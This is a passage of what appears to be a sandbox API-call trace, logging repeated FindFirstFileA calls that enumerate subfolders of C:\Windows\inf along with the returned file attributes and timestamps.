lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.692] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.696] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.698] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.702] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.705] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.709] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.712] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x7388db60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7388db60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.716] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x713a8660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x7388db60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7388db60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.718] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x713a8660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x7388db60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7388db60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.722] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.725] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x7388db60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7388db60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.729] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x738418a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x738418a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.731] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x7388db60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7388db60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.737] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.744] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.747] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.750] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.754] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.756] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.760] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.762] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.765] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.769] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.772] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.775] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.778] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.782] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.784] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.787] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.789] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.792] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.794] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.798] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.801] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.805] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.807] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.811] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.821] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70bebee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70bebee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.830] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\aspnet_state\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x70c12040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70c12040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.836] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\BITS\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.837] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\BITS\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9a0bf0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9a0bf0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.840] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\BITS\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e18653, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0129.154] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fd6a52, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502518 [0129.158] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ESENT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.158] FindFirstFileA (in: 